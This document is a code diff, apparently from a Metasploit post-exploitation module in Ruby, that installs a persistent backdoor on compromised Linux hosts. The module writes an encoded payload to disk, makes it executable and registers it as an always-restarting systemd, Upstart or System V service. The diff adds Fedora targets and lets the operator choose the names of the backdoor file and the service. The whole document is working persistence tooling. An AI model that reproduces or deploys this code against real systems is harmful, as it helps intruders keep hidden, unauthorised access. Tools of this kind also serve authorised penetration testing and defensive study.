@@ -29,10 +29,12 @@ def initialize(info = {})
29
29
Ubuntu <= 9.04
30
30
Upstart:
31
31
CentOS 6
32
+ Fedora >= 9, < 15
32
33
Ubuntu >= 9.10, <= 14.10
33
34
systemd:
34
35
CentOS 7
35
- Debian >=7, <=8
36
+ Debian >= 7, <=8
37
+ Fedora >= 15
36
38
Ubuntu >= 15.04
37
39
Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
38
40
) ,
@@ -73,7 +75,9 @@ def initialize(info = {})
73
75
74
76
register_options (
75
77
[
76
- OptPath . new ( 'SHELLPATH' , [ true , 'Writable path to put our shell' , '/usr/local/bin' ] )
78
+ OptPath . new ( 'SHELLPATH' , [ true , 'Writable path to put our shell' , '/usr/local/bin' ] ) ,
79
+ OptString . new ( 'SHELL_NAME' , [ false , 'Name of shell file to write' ] ) ,
80
+ OptString . new ( 'SERVICE' , [ false , 'Name of service to create' ] )
77
81
] , self . class
78
82
)
79
83
end
@@ -115,7 +119,8 @@ def service_system_exists?(command)
115
119
end
116
120
117
121
def write_shell ( path )
118
- backdoor = "#{ path } /#{ Rex ::Text . rand_text_alpha ( 5 ) } "
122
+ file_name = datastore [ 'SHELL_NAME' ] ? datastore [ 'SHELL_NAME' ] : Rex ::Text . rand_text_alpha ( 5 )
123
+ backdoor = "#{ path } /#{ file_name } "
119
124
vprint_status ( "Writing backdoor to #{ backdoor } " )
120
125
write_file ( backdoor , payload . encoded )
121
126
cmd_exec ( "chmod 711 #{ backdoor } " )
@@ -126,8 +131,8 @@ def systemd(backdoor_path, backdoor_file)
126
131
# https://coreos.com/docs/launching-containers/launching/getting-started-with-systemd/
127
132
script = "[Unit]\n "
128
133
script << "Description=Start daemon at boot time\n "
129
- script << "After=networking.service \n "
130
- script << "Requires=networking.service \n "
134
+ script << "After=\n "
135
+ script << "Requires=\n "
131
136
script << "[Service]\n "
132
137
script << "RestartSec=10s\n "
133
138
script << "Restart=always\n "
@@ -136,7 +141,7 @@ def systemd(backdoor_path, backdoor_file)
136
141
script << "[Install]\n "
137
142
script << "WantedBy=multi-user.target\n "
138
143
139
- service_filename = Rex ::Text . rand_text_alpha ( 7 )
144
+ service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
140
145
vprint_status ( "Writing service: /lib/systemd/system/#{ service_filename } .service" )
141
146
write_file ( "/lib/systemd/system/#{ service_filename } .service" , script )
142
147
vprint_status ( 'Enabling service' )
@@ -159,7 +164,7 @@ def upstart(backdoor_path, backdoor_file, runlevel)
159
164
script << "respawn\n "
160
165
script << "respawn limit unlimited\n "
161
166
162
- service_filename = Rex ::Text . rand_text_alpha ( 7 )
167
+ service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
163
168
vprint_status ( "Writing service: /etc/init/#{ service_filename } .conf" )
164
169
write_file ( "/etc/init/#{ service_filename } .conf" , script )
165
170
vprint_status ( 'Starting service' )
@@ -263,7 +268,7 @@ def system_v(backdoor_path, backdoor_file, runlevel, has_updatercd)
263
268
script << "esac\n "
264
269
script << "exit 0\n "
265
270
266
- service_filename = Rex ::Text . rand_text_alpha ( 7 )
271
+ service_filename = datastore [ 'SERVICE' ] ? datastore [ 'SERVICE' ] : Rex ::Text . rand_text_alpha ( 7 )
267
272
vprint_status ( "Writing service: /etc/init.d/#{ service_filename } " )
268
273
write_file ( "/etc/init.d/#{ service_filename } " , script )
269
274
cmd_exec ( "chmod 755 /etc/init.d/#{ service_filename } " )
0 commit comments